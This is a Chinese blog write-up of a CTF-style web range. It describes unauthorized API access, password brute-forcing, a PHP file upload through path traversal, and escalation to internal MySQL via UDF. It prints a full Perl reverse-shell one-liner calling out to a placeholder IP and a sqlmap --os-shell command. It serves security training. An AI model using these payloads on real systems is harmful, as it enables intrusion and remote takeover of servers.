题目地址:

未授权访问引发的血案

 


题目首页:

是一个后台的登录页面,题目给的hint是”未授权访问,多看源码”
那我们就读读所谓的源码~

可以发现一个可疑的JS文件:
http://47.74.184.73:8873/assets/js/sea-config.js

seajs.config({
     alias:{
         'jquery':'jquery/jquery',
         'login':'login.js',
         'api':'api.js'
     }
});

这是jquery的方法的一个别名,其中api.js是未使用过的,所以我们请求一下这个文件

api.js

看得出需要用userid参数POST请求 User_Pockr_Api/UserInfo

这个时候需要去寻找userid

首页有一个功能,就是找回密码,根据页脚得到一个邮箱 [email protected]

尝试请求~

得到"userid":"BB568A04-8159-964E-CE49-D68AC10F8101"
找回密码

接着回到上一步请求 User_Pockr_Api/UserInfo
得到用户名

得到了用户名:sunzheyi
接下来去登录处爆破用户密码

得到了密码1q2w3e

登陆后,网站管理有一个上传文件的地方

上传点

随意上传文件,Burp抓包放入Reapter分析

发现可以直接上传PHP文件
文件上传

猜测subSysFolder就是上级目录其实本来就是,利用../来fuzz定位到根目录
当 subSysFolder 为 ../.. 的时候就上传到了根目录

上传个phpinfo()查看下PHP的相关信息,得知是PHP7,而且限制了assert和eval的功能,无法使用菜刀。

我利用PHP的system函数,直接执行系统shell,权限很低。

system

在一顿fuzz后,尝试了nc,python,bash等等无果,最后成功利用perl反弹了shell。
payload:

perl -e ‘use Socket;$i=”1.2.3.4″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

记得URL转义~

vps得到shell后,操作很方便很多,接下来可以利用curl指令下载恶意文件。

一开始用的msf的elf文件,但是经常性的抽风,以至后来根本无法传输payload,(怀疑是后来设置了WAF)

对了,web使用CI框架写的,数据库配置文件就在config目录中。

使用socks代理转发出来后,DNS服务器无法解析config/database.php文件中的数据库服务器域名。

不过通过msf的arp得知了内网机器IP,172.18.0.4即是目标服务器,所以我们直接使用172.18.0.4作为攻击目标。

在一顿信息收集后,发现目标机器只开了3306端口,合理的猜测: UDF拿shell

所谓UDF也就是用户自定义函数,利用这个可以直接利用mysql执行系统shell,这都是老姿势了。

可是配置文件中的用户并不是root,无法导出UDF,所以需要猜测root用户密码,这里我一直猜不出来。。。后来问了出题人,得知密码就是配置文件中的。。。。

随即利用sqlmap来连接数据库

proxychains sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell --no-cast

ojbk,在几分钟的导出UDF操作后,即可顺利的拿到目标机器的shell了~

GetShell





本文链接地址: [writeup]Pockr 5th Web Range

原创文章,转载请注明: 转载自Lz1y's Blog

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.